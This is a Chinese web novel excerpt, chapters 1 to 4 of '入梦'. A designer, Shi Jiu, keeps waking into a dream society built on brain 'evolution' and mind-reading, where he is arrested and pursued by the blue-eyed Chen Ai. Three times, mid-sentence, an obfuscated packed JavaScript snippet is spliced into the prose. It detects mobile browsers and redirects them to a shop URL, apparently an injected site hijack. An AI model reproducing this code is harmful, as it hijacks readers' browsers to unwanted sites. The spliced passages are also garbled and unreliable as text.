《入梦》 1. 第 1 章 “这批需要处理的人有点多,37个,记录一下。” “怎么这么多?!” “嗯,有4个是没进入进化舱就自杀的,还有2个是操作过程中死亡的。” “太多了,不太对劲。我去通知一下舟先生,你跟我一起。” 好像有很多人,他们说话的声音模模糊糊,鞋踏在像水泥质地的地板上发出的声响反而异常尖锐刺耳,如同粉笔刮擦黑板。 急促的呼吸,糟糕的怒气,不解或是冷漠的情绪交织,像戴着耳机听到了无数个方位奔涌而来的噪音,也像极了夏日黄昏下没有空调的集市,吆喝、鱼腥味、泥泞、汗水、黏稠的空气全部拧在一起,拳头稍微捏紧,指缝就会溢出污浊的水。 咚咚咚——有人在走路。 砰!门被关上。 滴滴滴滴——仪器发出尖锐的啸叫。 被混乱嘈杂的声音惊醒,时咎猛地睁开眼,那一瞬间他感受到自己猛烈的心跳,好像是做了噩梦突然惊醒后身体不适应的反应,有些微微出汗。 接下来,这半梦半醒间的场景便清晰起来。 眼前是一块透明玻璃器皿,他好像躺在什么舱室里,四肢也被某种丝线一样的东西绑住。与脑海中吵闹的感受不一样,这会儿的环境其实非常安静,除了仪器微弱又有规律的声响,没有任何其他声音。 时咎的记忆还停留在他刚上床的时候,临睡前,他还在想设计稿。 时咎没有惊慌失措,相反地,他饶有兴致地试图坐起来,小心地抬起那块盖住他的透明玻璃盖,没想到他弓起身子触碰到它,它就已经自动打开了。于是时咎慢慢坐了起来,紧接着—— “……” “……” 四目相对。时咎与站在旁边的一个男生目光瞬间对接在一起,两个人同时屏住呼吸,空气冻结,沉默。 男生面容年轻,他的脸色逐渐变得惨白,薄薄的唇不自然微张。半晌,他略带尴尬和局促地开口了:“你,你怎么醒了?你怎么打开了……” “嗯?”时咎轻声疑惑,目光环视四周。 一个完全陌生的环境,白色的墙,白色的仪器,白色的一切装饰物,周围放了好几个和他现在躺着的一样的舱室,里面也躺着人,更多的人是躺在地上。 “那个,你还有什么话要留吗?或许,或许我可以帮你,给你的家人带到?”男生再次开口。他看上去有些害怕,语气充满了试探与紧张,连他的手指也不自在地弓起抓着自己裤腿的布料,拉出几道褶皱。 时咎还是疑惑,回过头,这回他把目光投向了这个男生并且毫不顾忌地上下打量。 他年纪应该不大,目光里是恐惧与忍耐的情绪。白色的衣服,看上去像某种科研人员会穿的,和这个房间的颜色几乎融为一体,他的衣服上挂了名牌,写着一个名字:江遂。 沉默片刻,时咎终于找到了这一幕不太对劲的地方,他舔了舔嘴唇,说话的声音有点哑,也有些低沉:“带什么话?为什么要帮我带话?” 男生也许是被时咎紧锁的眉头、毫不客气的语调给震慑到了,他张了一下嘴,又立刻闭上,好像下了某种决定后,又再次张开,声音很小地说:“因为,因为你被检测不合格,你马上,就,就要被送去教化所了。嗯——他们去通知看守者,应该马上就回来了。” 刚说到这里,外面就传来由远及近的、混乱的脚步声,江遂低呼:“他们要回来了!” 江遂脸上划过一丝害怕,他靠近了时咎一步,想要把他藏起来。 这时,房间的门被猛地推开,紧接着绑在时咎身上的丝线也全部自己断裂,时咎翻身就起来了——然后就被双手剪在身后,身体不受控制地跪了下去。 一声怒吼炸在时咎耳边:“干什么?!”一个身形高大的男人在时咎完全没反应过来的时候就将他接下来有可能的行为全部扼杀在了摇篮里。好快的动作! 时咎发出一声疼痛的低呼:“嘶!” 这里的人看来是都回来了,又有了一开始感受到的那些杂乱的情绪与声音。 “怎么回事,怎么醒了一个?”另一个穿科研人员衣服的人急匆匆地问,时咎看不到是谁。 江遂吓得把头几乎低到胸口:“我,我不知道,你们刚走没多久,他就醒了,他,他还自己打开了玻璃,我也吓了一跳,那个,还没来得及喊你们,你们,就,回来了。” 时咎觉得自己的胳膊疼得不行,有一种再用力哪怕一点点就会断掉的错觉。他听到自己上方有人问他:“你有能力?刚刚没检测出来,你的是什么?” “什么?”时咎几乎咬着牙忍着疼痛在说话。 “打开玻璃,挣脱双层石墨烯绳的能力,是什么?为什么检测不出来?”那位研究员走到舱室前,拿起被时咎崩开的石墨烯绳裂口两端,眼里的震惊无法掩盖。 逼问他的人的鞋又慢慢挪到了时咎的眼前,时咎被束缚着抬不起头,只能看到那一双表面擦得光滑,缝隙却没被抹干净的黑色皮鞋。 每个字都听得懂,连在一起却什么都没听明白。 半天没有得到回复,半干不净皮鞋的主人也不耐烦起来,他焦虑地来回踱步几圈,最后让其他人在这儿处理剩下的人,他和束缚着时咎的人架着时咎走了出去。 一条很长的走廊,隔五六米便有一个房间,三个人都沉重地往前走着,偶尔时咎还会踉跄一下——他故意的,说不定因此能让这位高大的猛士手下留情。不过他想多了。 时咎没有来过这里,也不知道这是哪里,但当他被押着路过一面巨大的玻璃,而玻璃里倒影出了他自己时,他的脑子彻底清醒过来。 是梦。他穿的是前不久刚扔掉的那件薄荷绿薄卫衣。 走过幽长到像没有尽头的走廊,又上了两层楼,还是千篇一律的走廊,走廊正中央有一块大屏幕在播报某则新闻: “两个月前,生物研究所丢失数支病株样本,门口两位安保均死亡,若有知情者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187293|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请立即联系我方。此则新闻为滚动播放。” “安全管理中心还没找到人吗?”有人小声咕哝着,“不应该呀,明明有沉先生这样的人在……” 他们最后在边缘一扇门前停下。一直走在他前面的人毫不犹豫轻轻敲门,收起了刚刚和他说话时的气焰,用公事公办的语气说:“舟先生,是我,有些奇怪的事。” “进吧。”里面传来了一个极其慵懒的声音,听上去刚刚睡醒。 半干不净皮鞋研究员进去了,但没一分钟就出来了,出来之后脸色并不好看,他抬头看了一眼走廊另一侧尽头的房间,又斜了一眼时咎,深呼吸一口气,朝那个方向走去。 他在恐惧那个尽头的东西,是恐惧?但似乎也有些别的。时咎微微抬头,从这位研究员的眼睛里读到了这个信息。 去走廊另一头这段路明显长了很多,因为带头的人连步伐都慢了许多。当他们站在另一扇房门前的时候,这位研究员伫立了好几秒,才犹豫着抬手,敲响门。 门是虚掩着的,他一敲,门就被打开了一点,研究员僵直一秒,第二下愣是没敲下去。 “谁?”里面传来一个有些淡凉而沉闷的声音。 研究员立刻收回手,提着一口气说:“沉先生,我是沈向南。”说话间,他的手心溢出密集的汗。 “说。”里面的人回答道,没有起伏,没有多余的情绪,只是念了这个字。 时咎终于捕捉到了那个除恐惧之外的情绪了,是敬惮,既害怕又尊敬,对和刚刚被带着去找的第一个人是截然相反的两种情绪。不过看现实情况,这样的情绪也是可以理解的,毕竟刚刚他敲门就进去了,而这个房间里的人,连让他进门的打算都没有。 研究员微微站直身体,双手在裤兜两边抹了一把企图擦干手心的汗,尽量用公事公办的语气说:“刚刚在进化过程中,检测到一位不合格的公民,本来是要送往教化所的,结果,这位公民从里面自行打开了进化舱,并且挣断了双层石墨烯绳,这,这是不可能的!所以,我想这是一位高能力者,甚至可以骗过我们的仪器!” 时咎听得头脑发晕,又开始了,每个字都听得懂,连一起就一个字都听不明白。这是什么梦,他的梦已经开始超越认知和意识了? 门里的空气静默了很久,研究员感觉自己手心的汗又不受控分泌出来了,才听到里面的人淡漠地回答说:“找舟之覆。” 研究员非常紧张立刻接道:“但是,但是,我找过舟先生了,舟先生说不关他的……” “也不关我的事。”里面的人迅速打断他,似乎有些不太愉悦了。 时咎心想:好,今天我就是那个被踢来踢去的皮球。他挣扎了一下,后面的人察觉到了,立刻收紧了力道,凶狠地说:“别动!” 这位叫沈向南的研究员没敢再说话,一时间有些进退维谷、跋胡疐尾了。 可能是察觉到门外人的尴尬,片刻,里面的人再次开口:“带他进来吧。” 2. 第 2 章 沈向南大松了一口气,简直要把肺里所有的浊气都吐出来,刚要押着时咎进去,又听里面的人补了一句:“让他进来,你去忙吧。”于是沈向南的脚步僵在门口,瞬间惊喜地收回踏出去半步的半干不净皮鞋,用眼神示意旁边的人。 一直架着时咎的人轻轻拉开门,一把将他推进去,又立刻关上门。 力气过大,时咎也没料到这突如其来的推力,导致他直接往前趔趄好几步,一把扑在一张办公桌上。他想,这么大的力气,像在扔什么烫手山芋,如果不是这张办公桌,他扑的地方应该就是地板了。 一直被当人质一样对待的时咎也开始有些不爽。他稳住身形,慢慢站直,终于看到了这个让沈向南敬畏的人的脸,沉皑就在他视线前方,灯火辉映下,他的脸上闪着光芒,下颌线流畅如刀削。 听到时咎这边传来的动静后,他微微垂下的眼睑抬了片刻,深蓝如碧海的眼眸中波澜不惊,但看到时咎的一刹那,他的表情不受控地动了一下,平静的湖有一瞬间翻涌起狂澜,他放下手中笔,轻声惊讶道:“是你?” “嗯?” “是我?”时咎重复着又嚼了一遍,站直身体整理了一下刚刚被抓得皱巴巴的衣服,又在四周张望一圈,最后看回来,又摆上了他标准的“无所谓”表情。 梦里的人会认识他?于是他随意地双手插兜,毫不在意地嗤笑道,“怎么,你还认识我啊?” 问出这句话的时候,这个人的表情立刻就淡漠了回去,好像刚刚出现的只是一个错觉。 他说:“不。” 他把手里的资料关上并放在一边,看着时咎,冷漠问道:“名字。” “时咎。”他非常不耐烦。 “住在哪?” “住在……”时咎想了一下。如果是在梦里,他应该说实话还是随意编造?不过编造的话,梦里的人应该也不能察觉,但是梦是自己意识与潜意识的投影,他自己知道自己在说谎了,他的梦应该也会知道。 时咎选择说实话:“海安市。” 说完,对面人的眉头就轻微皱起来了,他坐直了身体,神情明显比刚刚严肃几分,温度也比刚刚更低了几度,他开口,一字一句地重问:“住在哪!” 时咎烦躁地重复:“海安市!” 好在这位先生没有再为难他,而是问了别的问题:“今年多大?” 时咎随意编造:“27,28,29,30。” 时咎看见对面的人放松了身体,他往后靠,慵懒地靠在身后的柔软里,就那么盯着时咎,盯得时咎有些不舒服的时候,他生扯了下嘴角,轻笑说:“是有挣断双层石墨烯绳的能力,让你这么自信在这演吗?”虽然表情上有笑意,但语气里分毫都没有,更多的反而是威慑。 时咎“啧”了一声,不屑的鼻息从他鼻子里微微喷出,他看也没看面前的人,而是随意张望,打量这间不大的办公室,毫无所谓道:“我不知道你说的双层石墨烯绳是什么,但我说的是实话,你不信,是你的问题。” “我的问题?”有深蓝色眼睛的人淡淡一笑,好像也是头一回听到这样的诡辩,他扯起一边嘴角,“看来你很想去教化所。” 教化所……听到好几遍了,刚刚醒来看到的第一个人也提到过。 时咎眼神瞟回来,问:“教化所是什么?” 所谓教化所,在这个世界里并不为教化,反而是为了改变。 人们20岁成年后可以进行大脑进化,那么所谓进化,也就是改变大脑结构,对接宇宙频率,使人们脑海中有了一个通道,互相获得权限的人们可以实现思维透明,使用意识交流。 但在进化前,需要经过一个检测,检测基因是否合格,是否携带传染病,合格便进化,不合格便送往教化所全面改造。只是这教化所并不是人想去的…… 时咎一无所知,而刚刚被时咎呛过、所以并不打算正面回答他问题的人,语气里带着嘲讽地说:“教化所你不知道?” 接着他轻轻笑了一下,脸上都是挑衅,淡声道:“你不知道,是你的问题。” 被呛回来的时咎的脸绿了,心红了,脾气炸了。他懒得跟面前的人多说,嚣张地抬手,但没想到这张桌子并没有想象中那么重,双手一举,两人中间的桌子竟然直接被掀飞,桌上的文件纸从文件夹里散落出来,洋洋洒洒被抛向半空,又稀稀落落全部坠毁在地上铺成一团糟,连带着桌上的一些别的东西,比如笔,裂成两段了,还有一个茶杯,碎成无数块了,茶杯里的水染在纸上,那些是已经签字和正准备签字的文件。 “……” “……” 时咎双手僵住,一时也没从这幅场景里反应过来。 两个人之间没了书桌的遮挡,突然面对面,一个站着,一个坐着,坐着那位愣了一下,随后双手抱起臂来,看着他的眼神让人不寒而栗,没有书桌缓冲的攻击性瞬间就扑面而来。 时咎沉默半晌,刚想说点什么。 “咔嚓!”一双手铐出现在他的双手腕上,对方的动作快得他几乎快没注意到,只感受到一股冰凉爬上手腕,他打了个寒颤。 那个人转身打电话,语气还是那么平静,掀了他的桌子,竟然感觉不到一丝生气:“逮捕一名企图行凶的公民,过来带走。” 逮捕他?不自量力。时咎顺手就想把手铐给挣开,但动了两下,没反应。 怎么没反应?不是梦吗?梦不受他控制?时咎脸色瞬间变了。 当时咎坐在一个由管道连接构成的房间地上时,终于忍不住无奈笑出声——他还真在自己的梦里被逮捕了。 这里还算大,够一个人在里面来回踱步,单人床,洗漱池,马桶,还有壁画。 整个关他的地方都不算明亮,泛白的灯光照着每个灰色的牢房,天花板和地板都是泛着金属光的灰色,房间门的那面墙,是一条条管道错乱交织的模样,没有锁挂在任何地方,门就是这么被吸附着关上,再推却推不开。时咎没见过这样的设计。 他抬头看向天花板,想到自己还没画完的设计稿。 奇怪的是,这里听不到任何声音,时咎微微探头,目光所及之处,每个房间都是空的,没有人,在他来的时候,好像也没有看到任何人。 等他再听到外面传来声音,可能已经是梦里的第二天,也或许是第三天,时咎有点分不清。 有人在说话,接着有脚步声,步伐沉着有力,不徐不疾,再接着,被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187294|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掀了桌的那位出现在他铁窗的另一面。 他出现在外面,先是一个侧影,再是微微偏过的头与深蓝色眼睛,最后整个人转过身,居高临下、眼神淡漠地正面对着时咎,时咎趴在床上也抬起头与他对视。 这人,想利用某种无形的精神压力来制服他,但他偏偏不信这个邪。 片刻,外面的人沉沉开口:“如何?”他负手而立,看也没看时咎。 时咎只当他问的不是自己,他翻了个身,懒懒躺在小床上,并不为自己的处境焦虑,只是随意让双手枕着自己的后颈,懒散地打着哈欠:“不如何。” 对方平静地看了他一眼,说:“好。”然后毫不留情地转身就走。 “哎等等。”时咎叫住他,迅速翻身起来,慢条斯理挪动到门的位置,看到那个人停下了脚步,但没回头。 时咎撑着头,胳膊靠在组成门的管道上,似笑非笑地朝外面问:“这位——先生?我有点好奇,你见到我第一眼,对我说‘是你’,是什么意思?我们见过吗?” 这位先生背对着他,语气冷淡:“你觉得呢?” 时咎的位置只能看到对方的背影,看不到他的表情,但时咎觉得那应该是个不太高兴的表情,于是他想了一个很拙劣的套话句子,并懒洋洋道:“哎呀,前段时间出了车祸,嘶,有点想不起来以前的事了,不然你告诉我?” 他原本想知道为何梦里的人会认得他,结果对方脚一抬,连一个冷漠的眼神也没有施舍,头也不回地走了,一个字都没有回答。 还是那样一下一下坚定而又沉稳的脚步声,一声一声从时咎的耳膜中远离,没有一点对任何东西的留恋,也没有任何情感。 脚步声终于完全消失在了走廊的尽头,留下完全空旷的寂静,灰色的一切,让情绪显得越发晦暗。 时咎觉得很无聊,又悻悻躺回那张小床上。 他不该被梦束缚在这间小房间。 想到没画完的设计图,躺了一会儿的时咎烦躁得翻身就起,他想,反正是梦,直接撞出去算了。 想着就往那些管道上冲,然而这一冲,“砰”一声,额头巨大的疼痛侵袭,他只感觉一阵头晕目眩,眼前发黑。 紧接着他好像坠入了什么无底洞,强烈的失重感侵袭来,身边是呼啸的风,那风割在脸上生疼而窒息。 几分钟后,沉皑办公室外面传来急促的敲门声和惊慌的呼声:“沉先生,不好了,您前两天送进来的那个人,他、他、他跑了!” 沉皑皱眉,放下手里的笔站了起来。当他再站在空无一人的房间面前时,身后的人吓得口齿不清:“他真的没有从门口走,我发誓,我一直在这里,没有睡着也没有做别的,我想进去给他送点饭,我进去看,他就已经,已经不在那里了!” 沉皑低声应了一下:“嗯。” 没有监控,看守的人也没有说谎。沉皑慢慢走了两圈,脚步与地板碰撞的声音有些像死神的镰刀在有节奏扣地的声音。 没有任何异常,没有任何损坏,完整得连一粒灰尘都没有掉。 沉皑淡漠道:“通知安全管理中心。” 这个人突然的出现,又突然消失,和记忆里的一个人如出一辙。 3. 第 3 章 朦胧中,时咎听到每天清晨楼下垃圾车的轰鸣声,他微睁开眼,看到天花板熟悉的吊顶灯,窗外的天几乎还没亮。 令人感觉到安全的气息包裹上来,时咎一扯被子,终于想起他做了一个奇怪的梦,梦里那个人给他的压迫感,让他醒来后还心有余悸。 最终也只是梦。时咎再次把自己埋进床被的温热里,打算睡个回笼觉。 而等他再睁开眼的时候,茫然好半天才反应过来。 他正站在一个广场边缘,正面对着角落的一栋大楼,这栋六层建筑被设计得像叠起来的两块扁平的石头,这个建筑的入口处顶上,写了五个字:起源实验室。 实验室……他之前去过的那个地方是不是也是一个实验室? 他警觉打量周围,一眼看到广场正中央的石碑,被绿化带包围的巨大石碑上写着—— 爱是一切的答案。 额头还有些疼,时咎去触碰疼痛的同时转身抬头,却在下一秒眼皮不受控跳起来。 他看到逮捕他那家伙了,就在他眼前这栋楼的五楼,其中一扇窗户反光里映出他挺拔的身形。 梦里的时咎很快反应过来——他居然又回到这个梦里了! 这个想法一出来,时咎感受到自己所有的血气直冲大脑。 但就在他仰头、看到那张面无表情的脸时,对方像感应到什么般低头,视线居高临下与时咎的直直撞在一起。 时咎“咯噔”的心跳还没落回,那道身影瞬间消失在窗边。 时咎身体的反应比头脑快,他拔腿就跑。 不想在梦里还沦为阶下囚,一次就算了,还来?当下他得逃离这个广场,远离这个人。 一个青年快速逃窜出广场巨大的出入口,他的背后是两个高耸的白色石柱,中间一道弧线,顶端刻有六个字:世界文明中心。 无论是文明中心还是城区,人来人往,有的人匆忙走过,有的人则驻足下来与他人聊天。 此时的时咎无暇顾及这些城市的喧闹,他身形矫健地从人群里穿过,只感到自己的心跳因奔跑而逐渐加速,血液也沸腾起来。 连续的梦,还是第一次遇到。 前面就是一条小巷,可以拐进去,虽然对梦里的城市不熟,但分岔繁多的街头巷尾总是甩掉敌人的最佳位置。 奔逃间隙,时咎喘着气回头看了一眼,正好看到那个人从起源实验室的大门走出来。 两个人之间还有些距离。 然而这一回头,时咎在拐进小巷的刹那,只感觉身体撞上了什么东西,随着一声惊呼和无数石子落地的声音,时咎连带着被撞的人一起摔下去。 一个女生被撞得跪坐在地上,她手里装石头的袋子掉落,袋子里稀落撒了一地小石头出来,此时她怔怔地看着这一地凌乱,不知所措。 时咎迅速爬起来,也把她扶起来,焦急问了句:“没事吧?”话在问女生,目光却转向了背后。 城区人很多,阻挡了他的视线,看不到那个人是否追上来了。 “没,我没事。” 女生说话很慢,动作也迟缓,她慢慢站起来,随意拍了两下裙子,目光落在满地石头上。 “没事就好!”时咎说得很急,在确认女生没受伤后,他转身就往小巷深处跑去。 女生有些惊愕看着那个逃一样跑走的人,埋头。 上千颗拇指小石头。 片刻,她轻声叹气,蹲下来重新把袋子整理好,慢慢一颗一颗捡着往袋子里扔。 半分钟后,小巷响起急促的脚步声,声音越靠越近,直至耳边,接着女生听到刚刚熟悉的声音气喘吁吁地在上方响起:“抱歉,我帮你捡吧。” 时咎的动作很快,一把一把捧着往女生的袋子里放,他的肌肉绷紧着,隔两秒就会回头看一眼确定是否那个人已经发现他。 “谢谢你啊。”女生突然开口。 时咎喘气快语速说:“是我不小心撞的你。”他只想赶紧把自己闯下的祸处理好。 女生一边慢吞吞捡着,一边抬头打量时咎一番,喃喃道:“奇怪,你还没成年?我连接不到你,啊……我以为你成年了。” 时咎手里的动作顿了一下,顺口就编:“我,我应该,我不知道,嗯,前段时间出了点意外,很多事情想不起来。” “啊?都想不起来了吗?” “大部分吧。” 说话间,时咎看到女生的动作慢得几乎快要停下,但越是慢速,他越是急,自己手里的动作又加快不少,频繁抬头去看转角的另一侧。 如果再被逮捕,或许又要去监狱里,但他不想去,而且这个梦有点奇怪,并不是属于潜意识的梦,而是存在逻辑。 “那应该你还没有成年,我申请不到你的意识,你好像还没做过进化?” 时咎忽然抓住对方言语的重点,他微微皱眉,怕表现太明显,又立刻放松下来:“我的意识?进化?” 女生向他解释:“这个你都忘啦?成年后我们就可以进化到用意识交流了,不过需要交流的人开放权限,我们申请通道,熟了之后一般都会开放的,开放后,你的一切想法和思维方式就透明了,大家都喜欢坦诚的人嘛,所以大部分人是无条件向任何人开放的。” 身边的小石子全部都归还到袋子里去了,还有一部分洒落在转角的外面,这也太多了。时咎犹豫了一下,在想要不要拐过去捡,但是担心会碰上那个人,便随口回了句,“啊,这样。” 犹豫间,时咎还是微曲下身体,往旁边走了好几步去捡更远处的。 时咎急得不行,女生解释的声音徐徐入耳,她好像担心时咎忘得彻底,还很热心、特别详细地向他解释。 在他们的文明里,20岁成年,成年后可以实现和他人的意识交流,这种交流并不通过语言,而是一种类似频率的波动,人们可以接收来自他人的频率,读懂他人的想法和所有思维过程,这是一种极致的共情与反移情能力,在接收信号的一瞬间,便感同身受、理解对方相关的所有经验以及经历导致的感受与行为。 人们之间没有误会,没有秘密,没有算计和语言壁垒带来的信息误差。 在这样的条件下,人们互相诚实相待,他们善良友好,又彼此保持边界,他们喜欢精神享乐,这让整个文明的艺术领域空前发展,纯粹的商人并不在第一梯队,商品的商业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187295|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价值大多是某种想象力创造产生时的附加物品。 这是一个有着高度个人化、创造化的世界,除了超市商店,最多的是创意店,似乎艺术在这里是一种家常便饭,而且每种艺术都非常的私人化,并不向下兼容所有趋同的审美,而是等着同频的认知来链接。 听到这里,时咎忽然就回忆起逮捕他的那位问他的年龄,他说26、27的时候…… 时咎手里的动作慢了一点,他侧头去看街上,发现并没有那个人的影子,说不定刚刚就甩掉了? 有了这个想法,时咎轻轻松了口气,一颗一直悬吊的心也往回落了一些。 肯定甩掉了,不然这么一会儿时间,对方早该追上来了,如果现在还没有被抓住,大概率是迷失在人群里了。 或许那个人也申请过意识交流权限,但发现他甚至没有通道时,便知道他“未成年”,而他给了一个成年后的年龄。难怪他当时那样的反应,对方应该觉得自己在耍他,结合当时自己的表现,这完全就是一个嘲讽、挑衅一般的戏耍。 随着能看到的最后一个石头落入女生的袋子,时咎站起来拍拍手里的灰,表情有些抱歉:“不好意思啊,我……” 没说完,他的余光瞟到了女生背后,接下来的话全部强行吞了下去。 在他没有料到的反方向:这条拐角小巷的深处。一个纯黑的影子随意地侧倚着墙,目光似乎一直在他身上,而此时,那个影子已经举起了枪。 时咎呼吸一窒,四肢僵了一瞬间。 跑!时咎当下只有这一个念头。 他猛然转身,衣摆刚掀起,一道银色的、微弱的光闪过来,时咎只感觉自己腿一麻,眼前顿时一片黑,紧接着身体就不受控制往地上倒去。 身体笔直地倒下。女生几乎要尖叫出来,但在时咎身体彻底落地之前,一道身影迅速逼近,一只手环着他的脖子扶住了他即将倒下的身体,随后把他整个抱起来。 时咎感受到自己被笼罩在一个颇有温度的怀里,头自然偏搭在某个温热上,贴着那个温热的耳朵听到了稳定的心跳,也听到了两人对话。 女生:“你的眼睛……你是,沉先生?” 淡淡的声音近在咫尺:“他对你做了什么?” 女生:“没有的!他,他在帮我捡石头。” “好。” 醒不来,即使挣扎着想靠惊醒来摆脱这种无意识,即使想用控制梦一样的行为来达到目的,但沉溺的麻痹让人完全无法动弹,大脑如同浸水般往下沉。 有一种被拖入梦中梦的错觉。 意识的末尾,时咎艰难吐出几个字:“我跟你什么仇?” 抱着他的人步履不停,听闻这虚弱的声音,冷淡回答:“自己想。” 他能想到就有鬼了! 随后时咎像进入全麻状态一样,彻底陷入了无意识。 人来人往的大街,沉皑抱着一个昏迷的青年正往文明中心里面走,三三两两的目光注视着他,很快恭敬移开。沉皑的目标很明确,查不到这个人的真实身份,这次绝对不会放他走。 除了刚刚的少女,她站在原地,嘴唇微动,直视举止亲密的两人。 4. 第 4 章 半个月后,医院。 医生再次彻底做了一遍身体各项检查后,非常严肃地对沉皑说:“沉先生,患者身体的各项指标非常正常,我知道这就很不正常,但是,只是您上次的麻醉剂用量过多,导致患者依然在昏睡状态。” “嗯。”沉皑轻轻点头,手摸了一下别在腰间的麻醉枪。 原本他想,那一针的量,对方应该会昏迷一天,也最多一天,便只将他放在办公室,他还打算用双层石墨烯绳绑住他,又想这可能不太有效,索性只是任他躺那儿。 在第二天晚上的时候,沉皑就觉得不太对了,把他送往医院,但医院检查一直都没有异常,于是时咎再在医院躺了半个月。 不过至少这次,他没有逃跑了。沉皑心里有了想法。 病房的门响了一声,接着被从外面推开了。一个轻快的脚步从后面走近,伴随着轻盈的口哨旋律。 “咦?你又来了?他还没醒呐?”非常有活力的男声,他从沉皑身后探出头,看了看躺在床上闭眼的人,琢磨半天说,“我还以为你不在呢所以过来看看,你不忙吗老往医院跑。” “嗯。”沉皑回答,随后换了话题,“你姐呢?” 那人在病房的椅子上坐下,有些胖而壮实的身体刚好卡满椅子范围的极限,他说:“忙啊,最近不是在抓什么逃犯?我一辈子都没见过逃犯。” 他拿讲鬼故事的语气放低声音说:“听说他在街上无缘无故捅了路人一刀,捅完自己尖叫着跑了。嘿!你说搞笑不搞笑,所以我本来想跟着一起去看个热闹,这不?您老人家要我来守这位。”说完,他还有点不满,像是错过了什么,长叹一声。 沉皑没理他的抱怨,淡然道:“他很危险,我的权限只够使用麻醉枪,你在的话,有问题可以击毙他。” 对方若有所思地点头,手摸着下巴说:“我听我姐说了,越狱嘛,当场消失嘛,确实是闻所未闻,不过除了这个,好像也没有别的举动?我听说他还上街了,但并没有危险行为。对了,最开始你为什么关他?他有能力吗?” “嗯,还不知道具体是什么,但表现有瞬移。”说着,沉皑顿了一下,又接着说,“没打算关他,只是普通对他进行问话,他突然在办公室跟我动手,我本来也只打算关他一天以示惩罚,但是他越狱了。” 对方明显不可置信,不敢相信的点有二,一是瞬移这项能力,二是:“有人会跟你动手?”重音落在了“你”上。 “嗯。” 于是那不可置信的目光从沉皑身上挪到了床上躺着这位的身上,一时间空气都乱成了毛线团,找不到线头。 沉皑的家族来头不小,公民们对待沉皑,只会尊重,不会不敬,这是其一。 其二,虽然他们有能力系统,但真正有异能的人少之又少,这部分人里,能力有重要用途的更是凤毛麟角。这类人大多集中在文明中心,如果是瞬移,已经是高级异能了,只要他曾经使用过,文明中心不可能没有将他收编。 “那,没强制连接意识?” “还没成年。”沉皑淡淡说,他确实尝试过,但眼前昏迷在床上的人甚至没有申请通道,只有未成年人才会没有通道。 旁边的人“啊”了一声,看上去很匪夷所思。 未成年,没有进入文明中心也是情有可原的,毕竟还没去起源实验室做思维透明进化——起源实验室是负责公民大脑进化的地方,它的最高管理之一就是沉皑。 “对了。”沉皑说,“帮我申请一个麻醉脖环。” “没问题!” 没有呆太久,沉皑并不确定床上躺着的人什么时候醒来,正要回起源实验室,刚刚转过身,就听见病床上传来了一声痛苦的呻吟。 时咎在这个时候转醒过来。他眉头紧锁,抬手揉了一下太阳穴,缓缓睁开眼睛。 刚刚是,好像,好像梦里又被抓住了?他是不是在街上看到了蓝眼睛那家伙?随后便失去意识。他醒过来了吗?眼前是白色的,像医院的一贯装修风格。医院,等等!他还没醒。 时咎猛地坐了起来,身体还没有感觉到任何不适,眼前的场景却对他来说是一个噩耗。 沉皑背靠着墙站着,双手抱在胸前,眼神冷漠得过于直白,深蓝色的瞳孔就这样毫不避讳地盯着他。另一边,还坐着一个健壮的陌生男子。 时咎不自觉发出烦躁的声音。 片刻,那位陌生男子从椅子上站起来,他健硕壮实的身体站着像一座山,他举起他的工作牌,笑着说:“嗨,安全管理中心,季山月。现在你归我管了。” 时咎皱眉。安全管理中心,听上去像他们那里警局一类的地方。 季山月站在床边,双手学沉皑一样抱在胸前,问道:“你叫时咎?” 时咎只觉得头疼:“嗯。” “多少岁?” “27、8、9吧。”时咎声音沙哑,随便说了几个数字,说完就反应过来说错话了,脑子还不太清醒。 果不其然,季山月:“哈?” 接着季山月“嘶”了一声,上下打量着时咎,最后发出了中气十足的怪笑声:“嘿哟,你这回答可真是让我小王八办走读,鳖不住校了。” 没给时咎反应的时间,季山月继续阴阳道:“这年纪没去登记进化?你唬哥哥我呢?一句话给爷整不会了。” 季山月想表达的意思是进化前的申请和信息录入,便于确定每个人具体的进化时间排期,但时咎理解错了,他以为是什么别的规则。 时咎忖度,问道:“什么登记进化?”原来20岁后进化成意识交流,还需要登记? 听到这么一个问题,季山月嘻嘻哈哈的情绪渐渐乐不起来了,他再次打量了一番时咎,这次打量得非常认真,最后,他严肃地问:“你不知道登记进化?” 时咎:“……” 他应该知道? 季山月想了想,转头对沉皑说:“好,那么问题性质变了,不然我带回去交给我姐?” “随你。”沉皑漠然,随口答道。 “好吧。”提到他姐,季山月很快恢复了那种轻松的情绪,他轻快地对时咎说:“那既然你也醒了,现在请跟我回安全管理中心吧。” 